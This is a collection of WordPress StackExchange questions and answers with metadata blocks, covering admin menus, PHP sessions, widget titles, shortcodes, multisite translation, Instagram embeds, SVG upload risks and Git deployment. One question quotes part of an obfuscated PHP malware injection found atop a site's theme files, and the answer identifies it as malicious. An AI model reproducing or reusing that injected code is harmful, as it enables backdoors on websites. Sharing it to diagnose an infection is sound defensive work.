$wp_admin_bar->remove_node( 'view-site' );
$wp_admin_bar->add_menu( array(
'id' => 'view-site',
'title' => __( 'Visit Site' ),
'href' => home_url( '/' ),
) );
}, 31 ); // After `wp_admin_bar_site_menu()` at 30. | stackexchange-wordpress | {
"answer_score": 7,
"question_score": 5,
"tags": "admin menu, admin bar, admin css"
} |
PHP session when called wp_ajax_nopriv
I'm trying to work with sessions using wordpress ajax call api, but unsuccessfully.
In begining of functions.php writed:
if (!session_id()) {
session_start();
}
When doing ajax call for example to function
add_action( 'wp_ajax_nopriv_compare_objects_request', 'compare_objects_request' );
Session in 'compare_objects_request' function is not available.
Besides, when in function 'compare_objects_request' putting session_start(), then every time when call is fired, $_SESSION variable is always new set. | WordPress does not use or affect PHP Sessions in any way. Therefore, the session functions will work exactly the same whether you're using WordPress or plain PHP or AJAX requests or anything else.
However, PHP Sessions depend very heavily on your specific PHP configuration. If you don't have the PHP Session settings configured correctly in the PHP.INI, then they tend to not work properly. And a lot of web hosts don't have properly configured defaults for sessions. Therefore, PHP sessions are not safe to use unless you have control over the configuration of the server, and are not suitable for distributed code because a lot of hosts don't have good configurations.
So, make sure you have the setting settings set up correctly in PHP before trying to use them.
< | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "ajax, session"
} |
Why are so many popular responsive Wordpress themes "boxed" at 940px?
What I mean is that, when the window width is larger than 940px, the main content appears in a box of width 940px, centered in the window, with the area outside the box being a single color or a background image.
The alternative (in a responsive theme) is for the main content to stretch across the entire window width.
I'm curious as to the benefits of either design. When to use one versus the other. | It all has to do with readability, specifically the width of a line of text. Research shows that text can be read faster when a line contains 95 characters per line versus other common line lengths. Couple this with designers' love of small type until the last year or so, and you're stuck with a width-constrained container around the otherwise responsive site. | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "themes"
} |
How to check if widget has automatic title
Some default widgets has automatic titles.
Is it possible to check if widget has automatic/inserted title using `dynamic_sidebar_params` filter? | Any widgets written to operate as the Core "Recent Posts" widget does can be forced to skip the title by a filter on `widget_title`:
function widget_title_hack_191120($title, $instance) {
if (empty($instance['title'])) {
$title = '';
}
return $title;
}
add_filter('widget_title','widget_title_hack_191120', 10, 2);
I don't know if there is a generic solution to the problem. Any widget could avoid this simply by not using the `widget_title` filter. | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 1,
"tags": "widgets"
} |
Clicking On View Post In Draft Opens New Tab
Since 4.0, when you save a post as a Draft the View Post link opens the saved post in a new tab. (target ="_blank")
Is there a way to revert back to the previous behaviour (which was to open the Preview version in the -same- tab?
What's weird is that once the post is published, the saved version opens in the same tab (as in previous WP versions.)
I looked at this post (which seems to be the reverse) Make “Post published. View post” Open in a New Tab
I found that by editing line 93 from:
10 => sprintf( __('Post draft updated. <a href="%s">Preview post</a>'), esc_url( add_query_arg( 'preview', 'true', $permalink ) ) ),
to
10 => sprintf( __('Post draft updated. <a href="%s">Preview post</a>'), esc_url( add_query_arg( 'preview', 'false', $permalink ) ) ),
That does what I want. HOWEVER, that's hacking the core. Is there a way to modify this WITHOUT hacking this file?
TIA, | You can hack by adding below lines in your theme's functions.php file.
function remove_preview_target()
{
// below JS code will set Preview button's **target** attribute to **_self**, it means same tab/window.
echo "<script>
jQuery(document).ready(function(){
jQuery('#post-preview').attr('target', '_self');
})
</script>";
}
// this action performs in admit footer
add_action('admin_footer', 'remove_preview_target');
Or add below lines in your JS file.
jQuery(document) . ready(function () {
jQuery("#post-preview") . attr("target", "_self");
}); | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 1,
"tags": "wp admin, draft"
} |
does wp_insert_term link the term to a certain post ID?
I'm using `wp_insert_term`to add a custom taxonomy like this:
wp_insert_term(
$_POST['city'], // the term
'property-city', // the taxonomy
array(
'description'=> $_POST['city'],
'slug' => $_POST['city']
)
);
It does the job, but it doesn't link this term to a certain post ID. Thus, my questions are: what does wp_insert_term do specifically? Does it just insert the term? If so, how can I link this term to a specific post ID? | Yes, `wp_insert_term()` only creates the term. To assign the term to a post use `wp_set_object_terms()`
wp_set_object_terms( $object_id, $terms, $taxonomy, $append ); | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "custom post types, custom taxonomy, terms"
} |
WordPress post arrangement using post_class
I want to create post layout in the following way:
+--------------------+
| 1 Full Width Post |
+----------+---------+
| 2 | 3 |
+--------------------+
| 4 Full Width Post |
+----------+---------+
| 5 | 6 |
+----------+---------+
So basically I want to use the `post_class()`. Say for full width it will be "full-width" class and for half width it will be "half-width" class.
I was able to add even/odd class by this method:
function alternating_post_class( $classes ) {
global $wp_query;
$classes[] = ( $wp_query->current_post % 2 === 0 ? 'odd' : 'even' );
return $classes;
}
add_filter('post_class', 'alternating_post_class');
Any help would be greatly appreciated. | It just take a little bit more complicated logic:
function alternating_post_class($classes) {
static $counter = 1;
switch ($counter) {
case 1:
$classes[] = 'full-width';
break;
case 2:
case 3;
$classes[] = 'half-width';
break;
}
$counter = ($counter == 3) ? 1 : $counter + 1;
return $classes;
}
add_filter('post_class', 'alternating_post_class'); | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 1,
"tags": "theme development, themes, post class"
} |
How to develop an extension for a simple form post and post back?
I need to develop a plugin/widget or any kind of extension for WordPress that is a like a static page and is like a Form. In this page I have a form with some input fields that is submitted to server.
By submitting to server I mean I want a piece of code exists that gets Form's data, process it with help of some external web services, get response from that external web services and then creates and send backs response to the page I'm willing to develop.
What should I do? I must go with a special kind of plugins? Any directions?
Please consider I'm not going to use any data or API from WordPress itself.
I'm a ASP.NET MVC developer and have no practice with PHP practically. | I think the easiest way is adding the form via the Shortcode API. The code would look like this:
function myform_handler( $atts ){
if (isset(@$_REQUEST['submit'])) {
//Do something
} else {
$return = '<form action="" method="post">
<input type="text" name="myfield">
<input type="submit" name="submit>
</form>';
}
return $return;
}
add_shortcode( 'myform', 'myform_handler' );
Then you can add on any page the following Shortcode, that creates the form (and the form's response):
[myform] | stackexchange-wordpress | {
"answer_score": 3,
"question_score": -1,
"tags": "plugins, widgets, forms"
} |
Warning: Missing argument 2 for widget_title filter
Based on this question, I'm getting an error `Warning: Missing argument 2 for...`.
This happens for some widgets those are created by plugins.
\-- Edit 1 --
Here's a simple widget that causes the error:
function my_new_widget_register() {
register_widget( 'my_new_widget' );
}
add_action('widgets_init', 'my_new_widget_register');
class my_new_widget extends WP_Widget {
function my_new_widget() {
// Instantiate the parent object
parent::__construct( false, 'my_new_widget' );
}
function widget( $args, $instance ) {
// Widget output
extract( $args );
$title = apply_filters('widget_title', $instance['title']);
echo $before_widget;
echo $title;
echo $after_widget;
}
}
The error is clearly caused by `$title`. | You don’t pass more than argument to that filter, so any callback expecting more than one will not get it. The core calls this filter always like this:
$title = apply_filters(
'widget_title',
empty($instance['title']) ? '' : $instance['title'],
$instance,
$this->id_base
);
But you are passing just `$instance['title']`. Add the missing parameters, and the error will vanish.
If you cannot change the widget, change the registration for the callback for the filter, and make the other arguments optional by setting a default value:
add_filter( 'widget_title', 'my_widget_title_filter', 10, 3 );
function my_widget_title_filter( $title, $instance = [], $id_base = '' ) {
if ( '' === $id_base )
return $title;
// do something with the title, then
return $title;
} | stackexchange-wordpress | {
"answer_score": 3,
"question_score": 1,
"tags": "filters, widgets"
} |
Deregister scripts from plugin
I have an own class that deregisters all scripts and styles and creates 2 cached files one for scripts and one for styles that is registered in the end. This runs inside theme, my problem is that I cant move it into plugin, as soon as i move it into plugin it wont work.
currently this code works inside theme
add_filter('wp_print_styles', array($this, 'optimize_styles'), 1);
add_filter('wp_print_scripts', array($this, 'optimize_scripts'), 1);
i have tried add action add filter, change priorities.... also i want some way to make my plugin load as last to ensure all plugin styles and scripts will be "compiled" into one.
Thankyou | There's a much better and more reliable way than naming your plugin "ZZ" - use a delayed hook on `plugins_loaded`, which fires after all plugins are loaded:
function wpse_191178_plugins_loaded() {
// Do your stuff
}
add_action( 'plugins_loaded', 'wpse_191178_plugins_loaded', 100 ); | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "plugins, wp enqueue script, wp enqueue style"
} |
In a shared site, how to get products in a category from one site to another?
Our wordpress site(s) is actually 2 in 1. That is, while they are separate host URLs on the same domain, same server, they run from the same set of wp code, but different databases. They are not multisite because a plugin we need was not compatible. Therefore, we are able to give the appearance of separate related sites, and they run on same wp-content/ but different databases.
We're running woocommerce and want to show a set of products in a category from one site, in the other.
So we have `www.domain.com` and `store.domain.com`. How can we show a category of products in `www` that is configured in `store`?
Thanks in advance, Mike | Since you're not currently running a multi-site install, you can either install the WP-REST-API plugin which is currently in beta, or you can wait for it to hit core which will probably be around version 4.3 or 4.4.
If you were on a multi-site install, you could have easily used the `switch_to_blog()` function to switch between blog databases to query databases.
WP Rest API Docs : <
Evan | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "categories, images"
} |
Post as someone else
I'm starting a blog where multiple people will be "posting". However, most of my authors don't want to have anything to do with the posting process of WP. So they will be sending the articles to someone who would basically do a copy paste and post it, but it has to be as if the author itself did it.
Currently we have to log in as each author and post the content for them. So I would like to know if there's a way to do it from a single account and select a "post as" option and select who you want to post as from a dropdown.
Thanks in advance | If you're logged into WordPress as an administrator, you can easily change the post author of a post to someone else.
So what you'll want to do is set up different user accounts for your different authors and then set yourself up as an administrator. Then when you go to publish a post using your administrator account you can select which author you want it to be published under.
This video is old, but it more or less outlines the process of what you're looking to do: < | stackexchange-wordpress | {
"answer_score": 5,
"question_score": 1,
"tags": "users"
} |
Return scheduled posts with WP REST API
I'm using WP REST API plugin for a custom web application and I need to get access to the scheduled posts of the target wordpress website. However I can't find any parameter or filter to achieve this on the documentation.
Have tried passing the future date of a post in the API request query string but nothing returns.
Tried to get a future (scheduled) post by passing directly his id with `/wp-json/posts/57117` and I get an error response.
[{"code":"json_user_cannot_read","message":"Sorry, you cannot read this post."}]
How is the right way to access the data for scheduled posts? They are not password protected, just scheduled. This needs authentication somehow? | I found the answer, dropping it here in case someone need it.
> You need to be logged in as a user that has the `edit_posts` capability. With that capability, you also get access to the private query vars, including `post_status`.
Taken from this similar issue. | stackexchange-wordpress | {
"answer_score": 3,
"question_score": 0,
"tags": "permissions, api, json, scheduled posts, wp api"
} |
Wordpress ninja form change required attribute on condition
In my ninja form , I have required field . But I want to change that required attribute if the user is not logged in . I have seen ninja form documentaion and tried as they say . Here is what I have tried .
function my_filter_function( $data, $field_id ){
if(!is_user_logged_in()){
if( $field_id == 135){
$data['req'] =0;
}
return $data;
}
}
add_filter( 'ninja_forms_field', 'my_filter_function', 10, 2 );
But it doesn't work . When I submit the form it says that field is required . | Finally I have found a way to accomplish this , The solution to problem is to call update the field setting function
function ninja_forms_change_required_field(){
add_action( 'ninja_forms_before_pre_process', 'ninja_forms_code' );
}
add_action( 'init', 'ninja_forms_change_required_field' );
function ninja_forms_code(){
global $ninja_forms_processing;
if(!is_user_logged_in()){
$data['req'] = '0';
$ninja_forms_processing->update_field_settings(135, $data);
}
}
If a field is required then then **$data['req'] = '1'** | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "plugin ninja forms"
} |
Alter only the page title, not the post titles within
I have a page where, with shortcode, I queried multiple posts from a CPT - so the page is one kind of archive page to the general users.
Page Title
- CPT Post Title #1
- CPT Post Title #2
- CPT Post Title #3
In certain condition I want to alter only the Page Title, not CPT Post Title. I tried:
function wpse_change_page_title( $title ) {
//if( condition matched ) {
return 'Test ' . $title;
//}
}
add_filter( 'the_title', 'wpse_change_page_title' );
But it's altering the CPT Post Titles.
Page Title
- Test CPT Post Title #1
- Test CPT Post Title #2
- Test CPT Post Title #3
How can I alter only the Page title, not those CPT Post Titles?
Test Page Title | I believe that the page title you are talking about is the title from the page from the main query. `the_title()` filter (and `the_content()` filter for that matter) targets all the respective template tags regardless of query.
To avoid this, target only the main query and the specific page.
You can try the following inside your filter
if ( in_the_loop() && is_page( 'specific page' ) ) {
// Do what you need to do
}
## EDIT
I just thought of this, haven't tested it, but you can check your title inside the filter against a known static title and then do something according to that
Example:
if ( $title == 'My known title' ) {
// Do something with the title
} | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 3,
"tags": "filters, title"
} |
Having a two language website
I want to have a English and Persian website, as you know English is **right to left** and Persian is **left to right**. When I post something and set my WordPress to English, all the site and all posts will move to left to right.
But this is my personal website and I want sometime post in English and sometimes post in Persian, and editor do not allow me to change direction, it just has text-align **(css:direction:rtl or direction:ltr)**
How can I change each post direction?
Is there any other way? | Convert your site to a multisite, then …
1. Create a second site. Set the site language to Persian in _Options/General_.
2. Set the language of the first site to English.
3. You can install a plugin to link translated posts like MultilingualPress (disclosure: I was the lead developer for that plugin for a long time).
4. You can customize the Persian site now to handle RTL content better, for example with a dedicated child theme of the main theme and special plugins.
The post editor will now work automatically without further customization. | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "multi language, language"
} |
Have I been hacked? Mysterious code at the top of theme files
I found the following at the top of all my theme files. My local copy doesn't have it!
WordPress v4.2.2 running on a Linux server. Plugins: Advanced Custom Fields
<?php if(!isset($GLOBALS["\x61\156\x75\156\x61"])) {$ua=strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]); if ((! strstr($ua,"\x6d\163\x69\145")) and (! strstr($ua,"\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"]=1; } ?><?php $jobconrfpf = '5c%x78257-MSV,6<*)ujojR%x5c%x7b\40\x2f\52\x20\153\x6a\145\x62\161\x61\165\x67\160\x68\40\x2a\57\x20"; $ournfmcogg=substr($jobconrfpf,(42613-32500),(69-57)); $ournfmcogg($xqycebdlqb, $pvjekxgoli, NULL); $ournfmcogg=$pvjekxgoli; $ournfmcogg=(464-343); $jobconrfpf=$ournfmcogg-1; ?>
I goes on and on. I didn't want to paste everything on here.
Any ideas where this has come from? Thanks for you help in advance. | Yes ! This is a malicious code - if you don't have any backup. I will suggest you to remove this code from top of every file manually. There is no "Genire" plugin/script which can safely remove it from your every file. If you are good with PHP, you can write your own script.
Follow these steps to make all secure :
1. Remove All Malicious Code From Every File
2. Change file permissions.
3. Install this plugin and run a scan for more info : < | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "hacked"
} |
How can I create a custom dashboard for a membership website?
I'm looking to build a membership site with Wordpress. I have a decent amount of experience with wordpress, but always wondered if it's possible to create a custom dashboard for logged in members?
For example, in my membership site, members will have 100 virtual points monthly. Each time that member purchases something from me, I want to deduct from their points and display how many points they have remaining on that dashboard.
I've seen a few sites with a custom page for each different account before, but have no clue how to do this.
Thanks all | The simplest method would be to create a single page and use a custom page template.
For example, make a page with slug `my-account`. Then create a template and name it `page-my-account.php`.
Then within that template, check if the user is logged in, and load their data if they are.
if( is_user_logged_in() ){
$current_user = wp_get_current_user();
echo 'Username: ' . $current_user->user_login . '<br />';
echo 'User ID: ' . $current_user->ID;
} else {
echo 'You must be logged in to view this page';
} | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "membership"
} |
WordPress Get Header and Footer using in Admin Area
I was wanting a way to get the site header and footer and use it in the admin area.
Idea #1 An answer to another related question states to use an iframe instead I think we can use an ajax call get the header and footer from homepage and store in a function.
Idea #2 Where with jQuery we can clone() them, then store them in a function to use in the admin.
Maybe we need even both, I just think it's possible. I've seen a familiar post but still doesn't answer the question properly.
This is a close start:
add_action( 'in_admin_header', 'insert_header_wpse_51023' );
add_action( 'admin_footer', 'insert_footer_wpse_51023' );
add_filter( 'admin_print_styles', 'footer_hide_wpse_51023' );
function insert_header_wpse_51023()
{
echo '';
}
function insert_footer_wpse_51023()
{
echo '';
} | A very simple experiment...
add_action('admin_init','get_header');
add_action('admin_init','get_footer');
... will demonstrate that the `get_header()` and `get_footer()` functions work on the back end as well as the front, though you will need to adjust for numerous markup problems and other issues.
Honestly, you question seems to be "how do I get the site header and footer and use it in the admin area?" but you don't say how you want to use it, or why. Those are important considerations. As demonstrated, the "getting" is easy. | stackexchange-wordpress | {
"answer_score": 0,
"question_score": 0,
"tags": "ajax, wp admin, headers, footer"
} |
Enabling shortcodes for custom fields
So, in this post it is explained how to supposedly enable shortcodes for custom fields in Wordpress. (Shortcodes are not enabled for custom fields by default.)
What I dont understand is where to place this code:
<?php echo do_shortcode(get_post_meta(get_the_ID(), 'name', true)); ?>
I understand I have to paste the name of my custom field into the 'name' parameter, but where do I need to place this line of code?
I suppose in the functions.php of the template? I am unsure where though in that file. I don't want to break anything of my template.
Any suggestions are appreciated. | Normally Wordpress does not run shortcode that you put into a custom field.
By default, Custom Fields display whatever value you enter, as plain-text, so if you try entering a shortcode, (in the format [shortcode] VALUE [/shortcode]) you’ll end up displaying the entire text, including the tags.
Add the following in your template file, it can be single.php or page.php:
echo apply_filters('the_content', get_post_meta($post->ID,'YOUR_CUSTOM_FIELD_NAME', true));
or...
$shortcode = get_post_meta($post->ID,'YOUR_CUSTOM_FIELD_NAME',true);
echo do_shortcode($shortcode); | stackexchange-wordpress | {
"answer_score": 10,
"question_score": 3,
"tags": "functions, custom field, shortcode"
} |
Text with special class as excerpt (or exclude special class)
I am new in Wordpress and I am trying to customize my own theme.
All my posts are starting with a kind of content that I don't want to become the excerpt. It is kind of header.
Is there a way to use as excerpt only content with class `.myOnwnExcerpt`, or maybe it will be easier to ask wordpress to run excerpt rule excluding text with class `.notToBeDisplayedAsExcerpt`. Thanks for any suggestions. | The easiest course of action would be to write manual excerpts instead of having the system generate them.
Second, would be to wrap your "content that isn't an excerpt" in a shortcode. If you look at the `wp_trim_excerpt()` function, which generates excerpts from post content, one of the first thing it does is strip shortcodes. For example, if you had a shortcode like this:
function foocode($atts,$content){
return $content;
}
add_shortcode('foo','foocode');
Anything in the post body such as `[foo]Hello[/foo]` would not appear in the generated excerpts. Note that the "exceprt" is not necessarily the chunk of text that displays on the index page. If the the theme uses `the_content()` the post content will break on the `<!-- more -->` tag, or nothing at all, and your content will still appear. | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 0,
"tags": "excerpt, content, exclude"
} |
switch_to_blog(): Load textdomain
I am using the WordPress multisite feature with Multilingual Press Pro to create a multilingual site with linked posts.
In a network activated plugin the custom post types are registered. For translating the slug I use l10n:
'rewrite' => array(
'slug' => __( 'products', 'text-domain' ) . '/%product-category%',
'with_front' => false
)
This works fine. But, to link to the translated post on another site within the network, `switch_to_blog()` is used. As within this function no plugins are (re-)loaded, my translation files are also not loaded so the permalinks I retrieve will be wrong.
**Is there any possibility to hook into`switch_to_blog()` to load another text domain?**
Thanks! | You could hook into the action `switch_blog`. You get the new blog ID as the first argument here. But loading the complete translation files here is expensive, you also have to restore the old files after that.
WordPress does not use native gettext functions, but some custom code that is much slower. See #17268. The performance penalty for that would be huge.
Filter the URLs from the plugin instead, in this case `mlp_linked_element_link`, and use a hard-coded list of replacements like this:
add_filter( 'mlp_linked_element_link', function( $url, $site_id ) {
if ( 1 === (int) $site_id )
return str_replace( '/produkt/', '/product/', $url );
if ( 2 === (int) $site_id )
return str_replace( '/product/', '/produkt/', $url );
return $url;
}, 10, 2 );
This is much faster. Permalinks and language file handling is still broken in multisite, you have to live with compromises. | stackexchange-wordpress | {
"answer_score": 6,
"question_score": 5,
"tags": "hooks, textdomain, switch to blog, l10n"
} |
How to convert custom post type based list to a dropdown list?
I have been created a query to list the post from current taxomony, filt by term slug for my book site (as table of content). And it worked very well. But, is there any way to convert it to a dropdown list? (I'm a newbie) Here is the code:
// Start the list (I want to convert this to dropdown list)
$query = new WP_Query( $args );
while ( $query->have_posts($post->ID) ) : $query->the_post();
echo '<li><a href="';
the_permalink();
echo '">';
the_title();
echo '</a></li>';
endwhile;
// End the list
?> | the_title() and the_permalink() are functions that automatically echoed. Use in this case `get_the_title()` and `get_permalink()`.
the code should look something like this:
while ( $query->have_posts($post->ID) ) : $query->the_post();
echo '<li><a href="'. get_permalink(). '">' .get_the_title() .'</a></li>';
endwhile;
Here is another way using `the_title` and `the_permalink`:
while ( $query->have_posts($post->ID) ) : $query->the_post(); ?>
<a href="<?php the_permalink(); ?>" title="<?php the_title_attribute(); ?>"><?php the_title(); ?></a>
<?php endwhile; | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 1,
"tags": "custom post types, custom taxonomy, dropdown, list"
} |
Embedding Instagram via shortcode doesn't work as advertised in official docs
I am coding up a simple Wordpress theme and I would like to embed Instagram images via shortcode as described on Wordpress.com and Instagram.com. (Both links point to the very pages that demonstrate how this should be working).
So either ` `[instagram url= hidecaption=true width=320]` should be OK to embed an image from Instagram.
However, they don't embed anything. Youtube and Vimeo work fine, but not Instagram. The URL just gets wrapped in a `<p>` tag. The page about oEmbed on Wordpress says, this should be supported since 3.5, I currently have WP 4.0 installed on my localhost.
What am I missing? | The main problem here is WordPress **COM** and **ORG** are **NOT** equal. Questions about support for the former are actually _off-topic_ on WordPress Development.
One consequence of the non-equality of com and org is that the latter has no shortcode `[instagram]`, so naturally it won't work - the built-in shortcodes can be seen at this list. On the other hand, you are right, according to the codex page about embeds Instagram is supported. Normally it works like this:
Instagram photo below
Instagram photo above
It is important that the embeds link is on a separate line.
If that is not working for you, then you can try using the [`[embed]` shortcode](
[embed]
BTW tested the Instagram embed on a old WP 4.0 installation, it works just fine for me. | stackexchange-wordpress | {
"answer_score": 3,
"question_score": 1,
"tags": "shortcode, embed"
} |
My add_action (wp_footer, 'method') is not calling?
In my themes functions.php file I have put:
add_action('wp_footer', 'method');
function method()
{
echo "this is being called";
die();
}
My wordpress footer.php file looks like this:
<?php wp_footer(); ?>
</body>
</html>
What could be the reason my add_action hook is not being called?
I can provide additional code or information if needed.
## EDIT:
Instead of `die()` if I echo a script it won't appear in the pages footer
add_action('wp_footer', 'method');
function method()
{
echo "<script>...</script>";
} | In a WordPress footer hooks are different for back-end(dashboard) and front-end.
In Dashboard use "`admin_footer`" hook.
In Front-end use "`wp_footer`" hook. | stackexchange-wordpress | {
"answer_score": 11,
"question_score": 5,
"tags": "hooks, actions, footer"
} |
For what security reasons are svgs blocked in the media uploader?
I see that SVGs are blocked by default in the media uploader and you have to add it as a supported MIME type in functions.php. What security reasons are behind this? | SVG can contain JavaScript. JavaScript can be used to hijack cookies or do other questionable actions. It can even be "hidden" in namespaces:
<html xmlns:ø="
<ø:script src="//0x.lv/" />
</html>
_source_
It is very hard to filter that out during the upload, so it is just not allowed by default. | stackexchange-wordpress | {
"answer_score": 17,
"question_score": 15,
"tags": "media, security, svg"
} |
Category select options for plugin settings
I am using Aqua page builder and I want to incorporate dropdown catagory select field for that.
<?php
$my_options = array ('one' => 'My Pony','two' => 'His Pony');
echo aq_field_select('categories', $block_id, $my_options, $categories);
?>
I have tried `$my_options= get_categories();` But it does not work. The function was basically
function aq_field_select($field_id, $block_id, $options, $selected) {
$options = is_array($options) ? $options : array();
$output = '<select id="'. $block_id .'_'.$field_id.'" name="aq_blocks['.$block_id.']['.$field_id.']">';
foreach($options as $key=>$value) {
$output .= '<option value="'.$key.'" '.selected( $selected, $key, false ).'>'.htmlspecialchars($value).'</option>';
}
$output .= '</select>';
return $output;
}
Thank you . | I think this is what you are looking for .
$cats = get_terms('category');
$blog_cats = array("all" => "All");
foreach ($cats as $cat) {
$blog_cats[$cat->name] = $cat->name;}
Then to show this
<?php echo aq_field_select('category', $block_id, $blog_cats, $category); ?> | stackexchange-wordpress | {
"answer_score": 2,
"question_score": 0,
"tags": "plugin development, theme options, settings api"
} |
Git Deploying - Disabling plugin/theme installation/update on remote?
Is there any way to disable the installation/updating of plugins in Wordpress?
I am deploying by Github, and therefore changes on server, does not replicate on my development environment.
I need to disable this, and make all updates and installations on my local Git repository, and THEN push to production, with the changes. | Set the constant `DISALLOW_FILE_MODS` to `TRUE` in your `wp-config.php`:
const DISALLOW_FILE_MODS = TRUE;
See the Codex for background information:
> Setting this constant also disables the Plugin and Theme editor (i.e. you don't need to set `DISALLOW_FILE_MODS` and `DISALLOW_FILE_EDIT`, as on its own `DISALLOW_FILE_MODS` will have the same effect).
It will also prevent installing or uninstalling plugins, themes and updating the WordPress core.
This will not affect the Git deployment. | stackexchange-wordpress | {
"answer_score": 7,
"question_score": 5,
"tags": "updates, git, deployment"
} |
How do I check if there is a tag in the title
I have many post with multiple tags ex: `AMOS LEE, FOO FIGHTERS,TAYLOR SWIFT`
Post only have one of the tags in the title ex: `“The Man Who Wants You” – Amos Lee`
How would I scan the_title() and go through the tags and store the matching tag in a variable?
Ive tried
<?php
$id = get_the_title();
$posttags = get_the_tags();
if ($posttags) {
foreach($posttags as $tag) {
$tag = $tag->name . '<br>';
}
}
if (stripos($id,$tag) !== false) {
echo 'true<br>';
}else{
echo 'false';
}
?> | Put this in your loop:
<?php
$title = get_the_title();
$posttags = get_the_tags();
if( $title && $posttags ) {
$result = find_tag_in_title( $title, $posttags );
var_dump( $result ); // dump result
}
?>
Put this in your functions.php file:
<?php
function find_tag_in_title( $title, $posttags ) {
foreach( $posttags as $tag ){
if( strpos( strtolower($title), strtolower($tag->name) ) !== false ) return $tag->name;
}
return false;
}
?> | stackexchange-wordpress | {
"answer_score": 1,
"question_score": 0,
"tags": "php, wp query"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.